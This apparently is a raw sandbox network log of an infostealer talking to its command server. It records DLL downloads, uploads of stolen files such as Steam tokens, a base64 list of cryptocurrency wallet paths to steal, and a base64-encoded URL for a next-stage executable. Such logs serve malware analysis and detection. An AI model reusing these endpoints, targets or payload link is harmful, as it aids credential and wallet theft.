Oct 7, 2024 18:43:14.544193029 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHID Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file"------AKFCBFHJDHJKECAKEHID--
Oct 7, 2024 18:43:14.836996078 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:43:15.201571941 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:43:15.481059074 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 18:43:16.168930054 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:43:16.346029043 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 18:43:17.133928061 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:43:17.308093071 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 18:43:17.836057901 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:43:18.096859932 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 18:43:20.031419992 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:43:20.230529070 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 18:43:20.614360094 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:43:20.799853086 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 18:43:21.560270071 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGII Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:21.904968977 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:43:21.929903984 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAEC Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 2d 2d 0d 0a Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="message"wallets------JJDBFCAEBFIJJKFHDAEC--
Oct 7, 2024 18:43:22.147231102 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 7, 2024 18:43:22.150625944 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHD Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="message"files------EGHCBKKKFHCGCBFIJEHD--
Oct 7, 2024 18:43:22.330106020 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:43:22.340615034 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file"------BKFBAKFCBFHIJJJJDBFC--
Oct 7, 2024 18:43:22.552047014 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:43:22.555403948 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGII Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="message"ybncbhylepme------HIDAFHDHCBGDGCBGCGII--
Oct 7, 2024 18:43:22.766438961 CEST	322	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 96 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 32 35 7a 5a 47 30 75 59 33 56 74 63 47 46 79 4c 57 46 31 64 47 38 74 62 33 4a 70 59 32 55 74 64 47 6c 77 4c 6e 4a 76 4c 32 78 6b 62 58 4d 76 59 54 51 7a 4e 44 67 32 4d 54 49 34 4d 7a 51 33 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 77 3d Data Ascii: aHR0cDovL25zZG0uY3VtcGFyLWF1dG8tb3JpY2UtdGlwLnJvL2xkbXMvYTQzNDg2MTI4MzQ3LmV4ZXwwfDB8U3RhcnR8NHw=
